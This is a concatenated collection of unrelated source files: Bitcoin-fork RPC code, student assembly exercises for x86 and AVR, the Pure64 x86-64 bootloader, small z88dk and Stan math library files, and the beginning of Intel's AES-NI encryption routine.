obj.push_back(Pair("version", (int)CLIENT_VERSION));
obj.push_back(Pair("protocolversion",(int)PROTOCOL_VERSION));
#ifdef ENABLE_WALLET
if (pwalletMain) {
obj.push_back(Pair("walletversion", pwalletMain->GetVersion()));
obj.push_back(Pair("balance", ValueFromAmount(pwalletMain->GetBalance())));
}
#endif
obj.push_back(Pair("blocks", (int)chainActive.Height()));
obj.push_back(Pair("timeoffset", GetTimeOffset()));
obj.push_back(Pair("connections", (int)vNodes.size()));
obj.push_back(Pair("proxy", (proxy.first.IsValid() ? proxy.first.ToStringIPPort() : string())));
obj.push_back(Pair("difficulty", (double)GetDifficulty()));
obj.push_back(Pair("testnet", TestNet()));
#ifdef ENABLE_WALLET
if (pwalletMain) {
obj.push_back(Pair("keypoololdest", pwalletMain->GetOldestKeyPoolTime()));
obj.push_back(Pair("keypoolsize", (int)pwalletMain->GetKeyPoolSize()));
}
if (pwalletMain && pwalletMain->IsCrypted())
obj.push_back(Pair("unlocked_until", nWalletUnlockTime));
obj.push_back(Pair("paytxfee", ValueFromAmount(nTransactionFee)));
#endif
obj.push_back(Pair("relayfee", ValueFromAmount(CTransaction::nMinRelayTxFee)));
obj.push_back(Pair("errors", GetWarnings("statusbar")));
return obj;
}
#ifdef ENABLE_WALLET
class DescribeAddressVisitor : public boost::static_visitor<Object>
{
public:
Object operator()(const CNoDestination &dest) const { return Object(); }
Object operator()(const CKeyID &keyID) const {
Object obj;
CPubKey vchPubKey;
pwalletMain->GetPubKey(keyID, vchPubKey);
obj.push_back(Pair("isscript", false));
obj.push_back(Pair("pubkey", HexStr(vchPubKey)));
obj.push_back(Pair("iscompressed", vchPubKey.IsCompressed()));
return obj;
}
Object operator()(const CScriptID &scriptID) const {
Object obj;
obj.push_back(Pair("isscript", true));
CScript subscript;
pwalletMain->GetCScript(scriptID, subscript);
std::vector<CTxDestination> addresses;
txnouttype whichType;
int nRequired;
ExtractDestinations(subscript, whichType, addresses, nRequired);
obj.push_back(Pair("script", GetTxnOutputType(whichType)));
obj.push_back(Pair("hex", HexStr(subscript.begin(), subscript.end())));
Array a;
BOOST_FOREACH(const CTxDestination& addr, addresses)
a.push_back(CBitcoinAddress(addr).ToString());
obj.push_back(Pair("addresses", a));
if (whichType == TX_MULTISIG)
obj.push_back(Pair("sigsrequired", nRequired));
return obj;
}
};
#endif
Value validateaddress(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 1)
throw runtime_error(
"validateaddress \"bitrevsharesaddress\"\n"
"\nReturn information about the given bitrevshares address.\n"
"\nArguments:\n"
"1. \"bitrevsharesaddress\" (string, required) The bitrevshares address to validate\n"
"\nResult:\n"
"{\n"
" \"isvalid\" : true|false, (boolean) If the address is valid or not. If not, this is the only property returned.\n"
" \"address\" : \"bitrevsharesaddress\", (string) The bitrevshares address validated\n"
" \"ismine\" : true|false, (boolean) If the address is yours or not\n"
" \"isscript\" : true|false, (boolean) If the key is a script\n"
" \"pubkey\" : \"publickeyhex\", (string) The hex value of the raw public key\n"
" \"iscompressed\" : true|false, (boolean) If the address is compressed\n"
" \"account\" : \"account\" (string) The account associated with the address, \"\" is the default account\n"
"}\n"
"\nExamples:\n"
+ HelpExampleCli("validateaddress", "\"1PSSGeFHDnKNxiEyFrD1wcEaHr9hrQDDWc\"")
+ HelpExampleRpc("validateaddress", "\"1PSSGeFHDnKNxiEyFrD1wcEaHr9hrQDDWc\"")
);
CBitcoinAddress address(params[0].get_str());
bool isValid = address.IsValid();
Object ret;
ret.push_back(Pair("isvalid", isValid));
if (isValid)
{
CTxDestination dest = address.Get();
string currentAddress = address.ToString();
ret.push_back(Pair("address", currentAddress));
#ifdef ENABLE_WALLET
bool fMine = pwalletMain ? IsMine(*pwalletMain, dest) : false;
ret.push_back(Pair("ismine", fMine));
if (fMine) {
Object detail = boost::apply_visitor(DescribeAddressVisitor(), dest);
ret.insert(ret.end(), detail.begin(), detail.end());
}
if (pwalletMain && pwalletMain->mapAddressBook.count(dest))
ret.push_back(Pair("account", pwalletMain->mapAddressBook[dest].name));
#endif
}
return ret;
}
//
// Used by addmultisigaddress / createmultisig:
//
CScript _createmultisig(const Array& params)
{
int nRequired = params[0].get_int();
const Array& keys = params[1].get_array();
// Gather public keys
if (nRequired < 1)
throw runtime_error("a multisignature address must require at least one key to redeem");
if ((int)keys.size() < nRequired)
throw runtime_error(
strprintf("not enough keys supplied "
"(got %u keys, but need at least %d to redeem)", keys.size(), nRequired));
std::vector<CPubKey> pubkeys;
pubkeys.resize(keys.size());
for (unsigned int i = 0; i < keys.size(); i++)
{
const std::string& ks = keys[i].get_str();
#ifdef ENABLE_WALLET
// Case 1: Bitcoin address and we have full public key:
CBitcoinAddress address(ks);
if (pwalletMain && address.IsValid())
{
CKeyID keyID;
if (!address.GetKeyID(keyID))
throw runtime_error(
strprintf("%s does not refer to a key",ks));
CPubKey vchPubKey;
if (!pwalletMain->GetPubKey(keyID, vchPubKey))
throw runtime_error(
strprintf("no full public key for address %s",ks));
if (!vchPubKey.IsFullyValid())
throw runtime_error(" Invalid public key: "+ks);
pubkeys[i] = vchPubKey;
}
// Case 2: hex public key
else
#endif
if (IsHex(ks))
{
CPubKey vchPubKey(ParseHex(ks));
if (!vchPubKey.IsFullyValid())
throw runtime_error(" Invalid public key: "+ks);
pubkeys[i] = vchPubKey;
}
else
{
throw runtime_error(" Invalid public key: "+ks);
}
}
CScript result;
result.SetMultisig(nRequired, pubkeys);
return result;
}
Value createmultisig(const Array& params, bool fHelp)
{
if (fHelp || params.size() < 2 || params.size() > 2)
{
string msg = "createmultisig nrequired [\"key\",...]\n"
"\nCreates a multi-signature address with n signature of m keys required.\n"
"It returns a json object with the address and redeemScript.\n"
"\nArguments:\n"
"1. nrequired (numeric, required) The number of required signatures out of the n keys or addresses.\n"
"2. \"keys\" (string, required) A json array of keys which are bitrevshares addresses or hex-encoded public keys\n"
" [\n"
" \"key\" (string) bitrevshares address or hex-encoded public key\n"
" ,...\n"
" ]\n"
"\nResult:\n"
"{\n"
" \"address\":\"multisigaddress\", (string) The value of the new multisig address.\n"
" \"redeemScript\":\"script\" (string) The string value of the hex-encoded redemption script.\n"
"}\n"
"\nExamples:\n"
"\nCreate a multisig address from 2 addresses\n"
+ HelpExampleCli("createmultisig", "2 \"[\\\"16sSauSf5pF2UkUwvKGq4qjNRzBZYqgEL5\\\",\\\"171sgjn4YtPu27adkKGrdDwzRTxnRkBfKV\\\"]\"") +
"\nAs a json rpc call\n"
+ HelpExampleRpc("createmultisig", "2, \"[\\\"16sSauSf5pF2UkUwvKGq4qjNRzBZYqgEL5\\\",\\\"171sgjn4YtPu27adkKGrdDwzRTxnRkBfKV\\\"]\"")
;
throw runtime_error(msg);
}
// Construct using pay-to-script-hash:
CScript inner = _createmultisig(params);
CScriptID innerID = inner.GetID();
CBitcoinAddress address(innerID);
Object result;
result.push_back(Pair("address", address.ToString()));
result.push_back(Pair("redeemScript", HexStr(inner.begin(), inner.end())));
return result;
}
Value verifymessage(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 3)
throw runtime_error(
"verifymessage \"bitrevsharesaddress\" \"signature\" \"message\"\n"
"\nVerify a signed message\n"
"\nArguments:\n"
"1. \"bitrevsharesaddress\" (string, required) The bitrevshares address to use for the signature.\n"
"2. \"signature\" (string, required) The signature provided by the signer in base 64 encoding (see signmessage).\n"
"3. \"message\" (string, required) The message that was signed.\n"
"\nResult:\n"
"true|false (boolean) If the signature is verified or not.\n"
"\nExamples:\n"
"\nUnlock the wallet for 30 seconds\n"
+ HelpExampleCli("walletpassphrase", "\"mypassphrase\" 30") +
"\nCreate the signature\n"
+ HelpExampleCli("signmessage", "\"1D1ZrZNe3JUo7ZycKEYQQiQAWd9y54F4XZ\" \"my message\"") +
"\nVerify the signature\n"
+ HelpExampleCli("verifymessage", "\"1D1ZrZNe3JUo7ZycKEYQQiQAWd9y54F4XZ\" \"signature\" \"my message\"") +
"\nAs json rpc\n"
+ HelpExampleRpc("verifymessage", "\"1D1ZrZNe3JUo7ZycKEYQQiQAWd9y54F4XZ\", \"signature\", \"my message\"")
);
string strAddress = params[0].get_str();
string strSign = params[1].get_str();
string strMessage = params[2].get_str();
CBitcoinAddress addr(strAddress);
if (!addr.IsValid())
throw JSONRPCError(RPC_TYPE_ERROR, "Invalid address");
CKeyID keyID;
if (!addr.GetKeyID(keyID))
throw JSONRPCError(RPC_TYPE_ERROR, "Address does not refer to key");
bool fInvalid = false;
vector<unsigned char> vchSig = DecodeBase64(strSign.c_str(), &fInvalid);
if (fInvalid)
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Malformed base64 encoding");
CHashWriter ss(SER_GETHASH, 0);
ss << strMessageMagic;
ss << strMessage;
CPubKey pubkey;
if (!pubkey.RecoverCompact(ss.GetHash(), vchSig))
return false;
return (pubkey.GetID() == keyID);
}
|
; SethWhitakerProj3.asm - Project 4
; Seth Whitaker: 06/21/2020
.386
.model flat,stdcall
.stack 4096
ExitProcess PROTO, dwExitCode:DWORD
.data
source BYTE "This is the string that will be reversed", 0
target BYTE SIZEOF source DUP('#')
.code
main PROC
mov esi, OFFSET target - 2 ; Adress 2 bytes before target
mov edi, OFFSET target ; Adress of first byte of target
mov ecx, SIZEOF source - 1 ; Size of source string minus null char
L1:
mov al, [esi] ; Move char from current source address into al reg
mov [edi], al ; Move char from al reg to current target address
dec esi ; Move backwards one byte in source
inc edi ; Move forwards one byte in target
loop L1 ; loop
mov al, 0 ; After loop terminates, edi is pointing to last char of target
mov [edi], al ; Therefore, replace that char with null char
INVOKE ExitProcess, 0 ; Exit with code 0
main ENDP
END main
|
; =============================================================================
; Pure64 -- a 64-bit OS/software loader written in Assembly for x86-64 systems
; Copyright (C) 2008-2020 Return Infinity -- see LICENSE.TXT
;
; The first stage loader is required to gather information about the system
; while the BIOS or UEFI is still available and load the Pure64 binary to
; 0x00008000. Setup a minimal 64-bit environment, copy the 64-bit kernel from
; the end of the Pure64 binary to the 1MiB memory mark and jump to it!
;
; Pure64 requires a payload for execution! The stand-alone pure64.sys file
; is not sufficient. You must append your kernel or software to the end of
; the Pure64 binary. The maximum size of the kernel or software is 28KiB.
;
; Windows - copy /b pure64.sys + kernel64.sys
; Unix - cat pure64.sys kernel64.sys > pure64.sys
; Max size of the resulting pure64.sys is 32768 bytes (32KiB)
; =============================================================================
BITS 32
ORG 0x8000
PURE64SIZE equ 4096 ; Pad Pure64 to this length
start:
jmp start32 ; This command will be overwritten with 'NOP's before the AP's are started
nop
db 0x36, 0x34 ; '64' marker
; =============================================================================
; Code for AP startup
BITS 16
cli ; Disable all interrupts
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
xor esi, esi
xor edi, edi
xor ebp, ebp
mov ds, ax
mov es, ax
mov ss, ax
mov fs, ax
mov gs, ax
mov esp, 0x8000 ; Set a known free location for the stack
%include "init/smp_ap.asm" ; AP's will start execution at 0x8000 and fall through to this code
; =============================================================================
; 32-bit mode
BITS 32
start32:
mov eax, 16 ; Set the correct segment registers
mov ds, ax
mov es, ax
mov ss, ax
mov fs, ax
mov gs, ax
mov edi, 0x5000 ; Clear the info map
xor eax, eax
mov cx, 512
rep stosd
xor eax, eax ; Clear all registers
xor ebx, ebx
xor ecx, ecx
xor edx, edx
xor esi, esi
xor edi, edi
xor ebp, ebp
mov esp, 0x8000 ; Set a known free location for the stack
; Set up RTC
; Port 0x70 is RTC Address, and 0x71 is RTC Data
; http://www.nondot.org/sabre/os/files/MiscHW/RealtimeClockFAQ.txt
rtc_poll:
mov al, 0x0A ; Status Register A
out 0x70, al ; Select the address
in al, 0x71 ; Read the data
test al, 0x80 ; Is there an update in process?
jne rtc_poll ; If so then keep polling
mov al, 0x0A ; Status Register A
out 0x70, al ; Select the address
mov al, 00100110b ; UIP (0), RTC@32.768KHz (010), Rate@1024Hz (0110)
out 0x71, al ; Write the data
; Remap PIC IRQ's
mov al, 00010001b ; begin PIC 1 initialization
out 0x20, al
mov al, 00010001b ; begin PIC 2 initialization
out 0xA0, al
mov al, 0x20 ; IRQ 0-7: interrupts 20h-27h
out 0x21, al
mov al, 0x28 ; IRQ 8-15: interrupts 28h-2Fh
out 0xA1, al
mov al, 4
out 0x21, al
mov al, 2
out 0xA1, al
mov al, 1
out 0x21, al
out 0xA1, al
; Mask all PIC interrupts
mov al, 0xFF
out 0x21, al
out 0xA1, al
; Configure serial port @ 0x03F8
mov dx, 0x03F8 + 1 ; Interrupt Enable
mov al, 0x00 ; Disable all interrupts
out dx, al
mov dx, 0x03F8 + 3 ; Line Control
mov al, 80
out dx, al
mov dx, 0x03F8 + 0 ; Divisor Latch
mov ax, 1 ; 1 = 115200 baud
out dx, ax
mov dx, 0x03F8 + 3 ; Line Control
mov al, 3 ; 8 bits, no parity, one stop bit
out dx, al
mov dx, 0x03F8 + 4 ; Modem Control
mov al, 3
out dx, al
mov al, 0xC7 ; Enable FIFO, clear them, with 14-byte threshold
mov dx, 0x03F8 + 2
out dx, al
; Clear out the first 20KiB of memory. This will store the 64-bit IDT, GDT, PML4, PDP Low, and PDP High
mov ecx, 5120
xor eax, eax
mov edi, eax
rep stosd
; Clear memory for the Page Descriptor Entries (0x10000 - 0x5FFFF)
mov edi, 0x00010000
mov ecx, 81920
rep stosd ; Write 320KiB
; Copy the GDT to its final location in memory
mov esi, gdt64
mov edi, 0x00001000 ; GDT address
mov ecx, (gdt64_end - gdt64)
rep movsb ; Move it to final pos.
; Create the Level 4 Page Map. (Maps 4GBs of 2MB pages)
; First create a PML4 entry.
; PML4 is stored at 0x0000000000002000, create the first entry there
; A single PML4 entry can map 512GB with 2MB pages.
cld
mov edi, 0x00002000 ; Create a PML4 entry for the first 4GB of RAM
mov eax, 0x00003007 ; location of low PDP
stosd
xor eax, eax
stosd
mov edi, 0x00002800 ; Create a PML4 entry for higher half (starting at 0xFFFF800000000000)
mov eax, 0x00004007 ; location of high PDP
stosd
xor eax, eax
stosd
; Create the PDP entries.
; The first PDP is stored at 0x0000000000003000, create the first entries there
; A single PDP entry can map 1GB with 2MB pages
mov ecx, 4 ; number of PDPE's to make.. each PDPE maps 1GB of physical memory
mov edi, 0x00003000 ; location of low PDPE
mov eax, 0x00010007 ; location of first low PD
create_pdpe_low:
stosd
push eax
xor eax, eax
stosd
pop eax
add eax, 0x00001000 ; 4K later (512 records x 8 bytes)
dec ecx
cmp ecx, 0
jne create_pdpe_low
; Create the low PD entries.
mov edi, 0x00010000
mov eax, 0x0000008F ; Bits 0 (P), 1 (R/W), 2 (U/S), 3 (PWT), and 7 (PS) set
xor ecx, ecx
pd_low: ; Create a 2 MiB page
stosd
push eax
xor eax, eax
stosd
pop eax
add eax, 0x00200000
inc ecx
cmp ecx, 2048
jne pd_low ; Create 2048 2 MiB page maps.
; Load the GDT
lgdt [GDTR64]
; Enable extended properties
mov eax, cr4
or eax, 0x0000000B0 ; PGE (Bit 7), PAE (Bit 5), and PSE (Bit 4)
mov cr4, eax
; Point cr3 at PML4
mov eax, 0x00002008 ; Write-thru enabled (Bit 3)
mov cr3, eax
; Enable long mode and SYSCALL/SYSRET
mov ecx, 0xC0000080 ; EFER MSR number
rdmsr ; Read EFER
or eax, 0x00000101 ; LME (Bit 8)
wrmsr ; Write EFER
; Enable paging to activate long mode
mov eax, cr0
or eax, 0x80000000 ; PG (Bit 31)
mov cr0, eax
jmp SYS64_CODE_SEL:start64 ; Jump to 64-bit mode
align 16
; =============================================================================
; 64-bit mode
BITS 64
start64:
xor eax, eax ; aka r0
xor ebx, ebx ; aka r3
xor ecx, ecx ; aka r1
xor edx, edx ; aka r2
xor esi, esi ; aka r6
xor edi, edi ; aka r7
xor ebp, ebp ; aka r5
mov esp, 0x8000 ; aka r4
xor r8, r8
xor r9, r9
xor r10, r10
xor r11, r11
xor r12, r12
xor r13, r13
xor r14, r14
xor r15, r15
mov ds, ax ; Clear the legacy segment registers
mov es, ax
mov ss, ax
mov fs, ax
mov gs, ax
mov rax, clearcs64 ; Do a proper 64-bit jump. Should not be needed as the ...
jmp rax ; jmp SYS64_CODE_SEL:start64 would have sent us ...
nop ; out of compatibility mode and into 64-bit mode
clearcs64:
xor eax, eax
lgdt [GDTR64] ; Reload the GDT
; Patch Pure64 AP code ; The AP's will be told to start execution at 0x8000
mov edi, start ; We need to remove the BSP Jump call to get the AP's
mov eax, 0x90909090 ; to fall through to the AP Init code
stosd
stosd ; Write 8 bytes in total to overwrite the 'far jump' and marker
; Process the E820 memory map to find all possible 2MiB pages that are free to use
; Build a map at 0x400000
xor ecx, ecx
xor ebx, ebx ; Counter for pages found
mov esi, 0x00006000 ; E820 Map location
nextentry:
add esi, 16 ; Skip ESI to type marker
mov eax, [esi] ; Load the 32-bit type marker
cmp eax, 0 ; End of the list?
je end820
cmp eax, 1 ; Is it marked as free?
je processfree
add esi, 16 ; Skip ESI to start of next entry
jmp nextentry
processfree:
sub esi, 16
mov rax, [rsi] ; Physical start address
add esi, 8
mov rcx, [rsi] ; Physical length
add esi, 24
shr rcx, 21 ; Convert bytes to # of 2 MiB pages
cmp rcx, 0 ; Do we have at least 1 page?
je nextentry
shl rax, 1
mov edx, 0x1FFFFF
not rdx ; Clear bits 20 - 0
and rax, rdx
; At this point RAX points to the start and RCX has the # of pages
shr rax, 21 ; page # to start on
mov rdi, 0x400000 ; 4 MiB into physical memory
add rdi, rax
mov al, 1
add ebx, ecx
rep stosb
jmp nextentry
end820:
shl ebx, 1
mov dword [mem_amount], ebx
shr ebx, 1
; Create the high memory map
mov rcx, rbx
shr rcx, 9 ; TODO - This isn't the exact math but good enough
add rcx, 1 ; number of PDPE's to make.. each PDPE maps 1GB of physical memory
mov edi, 0x00004000 ; location of high PDPE
mov eax, 0x00020007 ; location of first high PD. Bits (0) P, 1 (R/W), and 2 (U/S) set
create_pdpe_high:
stosq
add rax, 0x00001000 ; 4K later (512 records x 8 bytes)
dec ecx
cmp ecx, 0
jne create_pdpe_high
; Create the high PD entries
; EBX contains the number of pages that should exist in the map, once they are all found bail out
xor ecx, ecx
xor eax, eax
xor edx, edx
mov edi, 0x00020000 ; Location of high PD entries
mov esi, 0x00400000 ; Location of free pages map
pd_high:
cmp rdx, rbx ; Compare mapped pages to max pages
je pd_high_done
lodsb
cmp al, 1
je pd_high_entry
add rcx, 1
jmp pd_high
pd_high_entry:
mov eax, 0x0000008F ; Bits 0 (P), 1 (R/W), 2 (U/S), 3 (PWT), and 7 (PS) set
shl rcx, 21
add rax, rcx
shr rcx, 21
stosq
add rcx, 1
add rdx, 1 ; We have mapped a valid page
jmp pd_high
pd_high_done:
; Build a temporary IDT
xor edi, edi ; create the 64-bit IDT (at linear address 0x0000000000000000)
mov rcx, 32
make_exception_gates: ; make gates for exception handlers
mov rax, exception_gate
push rax ; save the exception gate to the stack for later use
stosw ; store the low word (15..0) of the address
mov ax, SYS64_CODE_SEL
stosw ; store the segment selector
mov ax, 0x8E00
stosw ; store exception gate marker
pop rax ; get the exception gate back
shr rax, 16
stosw ; store the high word (31..16) of the address
shr rax, 16
stosd ; store the extra high dword (63..32) of the address.
xor rax, rax
stosd ; reserved
dec rcx
jnz make_exception_gates
mov rcx, 256-32
make_interrupt_gates: ; make gates for the other interrupts
mov rax, interrupt_gate
push rax ; save the interrupt gate to the stack for later use
stosw ; store the low word (15..0) of the address
mov ax, SYS64_CODE_SEL
stosw ; store the segment selector
mov ax, 0x8F00
stosw ; store interrupt gate marker
pop rax ; get the interrupt gate back
shr rax, 16
stosw ; store the high word (31..16) of the address
shr rax, 16
stosd ; store the extra high dword (63..32) of the address.
xor eax, eax
stosd ; reserved
dec rcx
jnz make_interrupt_gates
; Set up the exception gates for all of the CPU exceptions
; The following code will be seriously busted if the exception gates are moved above 16MB
mov word [0x00*16], exception_gate_00
mov word [0x01*16], exception_gate_01
mov word [0x02*16], exception_gate_02
mov word [0x03*16], exception_gate_03
mov word [0x04*16], exception_gate_04
mov word [0x05*16], exception_gate_05
mov word [0x06*16], exception_gate_06
mov word [0x07*16], exception_gate_07
mov word [0x08*16], exception_gate_08
mov word [0x09*16], exception_gate_09
mov word [0x0A*16], exception_gate_10
mov word [0x0B*16], exception_gate_11
mov word [0x0C*16], exception_gate_12
mov word [0x0D*16], exception_gate_13
mov word [0x0E*16], exception_gate_14
mov word [0x0F*16], exception_gate_15
mov word [0x10*16], exception_gate_16
mov word [0x11*16], exception_gate_17
mov word [0x12*16], exception_gate_18
mov word [0x13*16], exception_gate_19
mov edi, 0x21 ; Set up Keyboard handler
mov eax, keyboard
call create_gate
mov edi, 0x22 ; Set up Cascade handler
mov eax, cascade
call create_gate
mov edi, 0x28 ; Set up RTC handler
mov eax, rtc
call create_gate
lidt [IDTR64] ; load IDT register
; Clear memory 0xf000 - 0xf7ff for the infomap (2048 bytes)
xor eax, eax
mov ecx, 256
mov edi, 0x0000F000
clearmapnext:
stosq
dec ecx
cmp ecx, 0
jne clearmapnext
call init_acpi ; Find and process the ACPI tables
call init_cpu ; Configure the BSP CPU
call init_pic ; Configure the PIC(s), also activate interrupts
call init_smp ; Init of SMP
; Reset the stack to the proper location (was set to 0x8000 previously)
mov rsi, [os_LocalAPICAddress] ; We would call os_smp_get_id here but the stack is not ...
add rsi, 0x20 ; ... yet defined. It is safer to find the value directly.
lodsd ; Load a 32-bit value. We only want the high 8 bits
shr rax, 24 ; Shift to the right and AL now holds the CPU's APIC ID
shl rax, 10 ; shift left 10 bits for a 1024byte stack
add rax, 0x0000000000050400 ; stacks decrement when you "push", start at 1024 bytes in
mov rsp, rax ; Pure64 leaves 0x50000-0x9FFFF free so we use that
; Build the infomap
xor edi, edi
mov di, 0x5000
mov rax, [os_ACPITableAddress]
stosq
mov eax, [os_BSP]
stosd
mov di, 0x5010
mov ax, [cpu_speed]
stosw
mov ax, [cpu_activated]
stosw
mov ax, [cpu_detected]
stosw
mov di, 0x5020
mov ax, [mem_amount]
stosd
mov di, 0x5030
mov al, [os_IOAPICCount]
stosb
mov di, 0x5040
mov rax, [os_HPETAddress]
stosq
mov di, 0x5060
mov rax, [os_LocalAPICAddress]
stosq
xor ecx, ecx
mov cl, [os_IOAPICCount]
mov rsi, os_IOAPICAddress
nextIOAPIC:
lodsq
stosq
sub cl, 1
cmp cl, 0
jne nextIOAPIC
mov di, 0x5080
mov eax, [VBEModeInfoBlock.PhysBasePtr] ; Base address of video memory (if graphics mode is set)
stosd
mov eax, [VBEModeInfoBlock.XResolution] ; X and Y resolution (16-bits each)
stosd
mov al, [VBEModeInfoBlock.BitsPerPixel] ; Color depth
stosb
; Move the trailing binary to its final location
mov esi, 0x8000+PURE64SIZE ; Memory offset to end of pure64.sys
mov edi, 0x100000 ; Destination address at the 1MiB mark
mov ecx, ((32768 - PURE64SIZE) / 8)
rep movsq ; Copy 8 bytes at a time
; Output message via serial port
cld ; Clear the direction flag.. we want to increment through the string
mov dx, 0x03F8 ; Address of first serial port
mov rsi, message ; Location of message
mov cx, 11 ; Length of message
serial_nextchar:
jrcxz serial_done ; If RCX is 0 then the function is complete
add dx, 5 ; Offset to Line Status Register
in al, dx
sub dx, 5 ; Back to to base
and al, 0x20
cmp al, 0
je serial_nextchar
dec cx
lodsb ; Get char from string and store in AL
out dx, al ; Send the char to the serial port
jmp serial_nextchar
serial_done:
; Clear all registers (skip the stack pointer)
xor eax, eax ; These 32-bit calls also clear the upper bits of the 64-bit registers
xor ebx, ebx
xor ecx, ecx
xor edx, edx
xor esi, esi
xor edi, edi
xor ebp, ebp
xor r8, r8
xor r9, r9
xor r10, r10
xor r11, r11
xor r12, r12
xor r13, r13
xor r14, r14
xor r15, r15
jmp 0x00100000
%include "init/acpi.asm"
%include "init/cpu.asm"
%include "init/pic.asm"
%include "init/smp.asm"
%include "interrupt.asm"
%include "sysvar.asm"
EOF:
db 0xDE, 0xAD, 0xC0, 0xDE
; Pad to an even KB file
times PURE64SIZE-($-$$) db 0x90
; =============================================================================
; EOF
|
; char *strdup(const char * s)
SECTION code_clib
SECTION code_string
PUBLIC strdup
EXTERN asm_strdup
defc strdup = asm_strdup
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _strdup
defc _strdup = strdup
ENDIF
|
; void sp1_PutTilesInv(struct sp1_Rect *r, struct sp1_tp *src)
; CALLER linkage for function pointers
XLIB sp1_PutTilesInv
LIB sp1_PutTilesInv_callee
XREF ASMDISP_SP1_PUTTILESINV_CALLEE
.sp1_PutTilesInv
ld hl,2
add hl,sp
ld e,(hl)
inc hl
ld d,(hl)
push de
inc hl
ld a,(hl)
inc hl
ld h,(hl)
ld l,a
ld d,(hl)
inc hl
ld e,(hl)
inc hl
ld b,(hl)
inc hl
ld c,(hl)
pop hl
jp sp1_PutTilesInv_callee + ASMDISP_SP1_PUTTILESINV_CALLEE
|
#ifndef STAN_MATH_PRIM_SCAL_PROB_BERNOULLI_RNG_HPP
#define STAN_MATH_PRIM_SCAL_PROB_BERNOULLI_RNG_HPP
#include <boost/random/bernoulli_distribution.hpp>
#include <boost/random/variate_generator.hpp>
#include <stan/math/prim/scal/err/check_consistent_sizes.hpp>
#include <stan/math/prim/scal/err/check_bounded.hpp>
#include <stan/math/prim/scal/err/check_finite.hpp>
#include <stan/math/prim/scal/err/check_not_nan.hpp>
#include <stan/math/prim/scal/fun/constants.hpp>
#include <stan/math/prim/scal/fun/inv_logit.hpp>
#include <stan/math/prim/scal/fun/log1m.hpp>
#include <stan/math/prim/scal/fun/value_of.hpp>
#include <stan/math/prim/scal/meta/include_summand.hpp>
namespace stan {
namespace math {
/**
* Return pseudorandom Bernoulli draw with specified chance of success
* using the specified random number generator.
*
* @tparam RNG type of random number generator
* @param theta chance of success parameter
* @param rng random number generator
* @return Bernoulli random variate
* @throw std::domain_error if probability parameter is invalid.
*/
template <class RNG>
inline int bernoulli_rng(double theta, RNG& rng) {
using boost::bernoulli_distribution;
using boost::variate_generator;
static const char* function = "bernoulli_rng";
check_finite(function, "Probability parameter", theta);
check_bounded(function, "Probability parameter", theta, 0, 1);
variate_generator<RNG&, bernoulli_distribution<> > bernoulli_rng(
rng, bernoulli_distribution<>(theta));
return bernoulli_rng();
}
} // namespace math
} // namespace stan
#endif
|
label():
jsr $ffcf
cmp #$00
beq label()
sta ($fb),y
|
;
; LAB02C.asm
;
; Created: 2017/8/28 10:52:35
; Author : LI JINGCHENG
;
; Replace with your application code
.include "m2560def.inc"
.def n=r16
.def a=r17
.def b=r18
.def c=r19
.def cou=r22
.def timerl=r23
.def timerh=r24
.dseg
counter: .byte 1
.cseg
ldi n,8
ldi a,1
ldi b,3
ldi c,2
ldi xl,low(counter)
ldi xh,high(counter)
ldi cou,low(counter)
clr r20
clr cou
st x,r20
ldi r21,1
main:
ldi yl,low(RAMEND-4)
ldi yh,high(RAMEND-4)
out spl,yl
out sph,yh
std y+4,n ;address of n is y+4
std y+3,a ;address of a is y+3
std y+2,b ;address of b is y+2
std y+1,c ;address of c is y+1
rcall move
end : rjmp end
move:
;prologue, frame size=4 (excluding the stack frame
;space for storing return address and registers)
push r28 ; Save r28 and r29 in the stack
push r29
in r28,spl
in r29,sph
sbiw r28,4 ; Compute the stack frame top for move
; Notice that 4 bytes are needed to store
; the actual parameters n, a, b, c
out sph,r29 ; Adjust the stack frame pointer to point to
out spl,r28 ; the new stack frame
add timerl,r21
adc timerh,r22
std y+4,n
std y+3,a
std y+2,c
std y+1,b
;if statement
cp n,r21
brne else
add cou,r21
st x,cou
epilogue:
adiw r28,4 ; Deallocate the stack frame
out sph,r29
out spl,r28
pop r29 ; Restore Y
pop r28
ret ; Return
else:
ldd n,y+4 ;first recursive move call
ldd a,y+3
ldd b,y+2
ldd c,y+1
sub n,r21
rcall move
ldd n,y+4 ;second recursive move call
ldd a,y+3
ldd b,y+1
ldd c,y+2
mov n,r21
rcall move
ldd n,y+4 ;third recursive move call
ldd a,y+1
ldd b,y+3
ldd c,y+2
sub n,r21
rcall move
rjmp epilogue ;go to epilogue
|
###############################################################################
# Copyright 2018 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.text
.p2align 5, 0x90
.globl _EncryptECB_RIJ128pipe_AES_NI
_EncryptECB_RIJ128pipe_AES_NI:
movslq %r8d, %r8
sub $(64), %r8
jl .Lshort_inputgas_1
.p2align 5, 0x90
.Lblks_loopgas_1:
movdqa (%rcx), %xmm4
mov %rcx, %r9
movdqu (%rdi), %xmm0
movdqu (16)(%rdi), %xmm1
movdqu (32)(%rdi), %xmm2
movdqu (48)(%rdi), %xmm3
add $(64), %rdi
pxor %xmm4, %xmm0
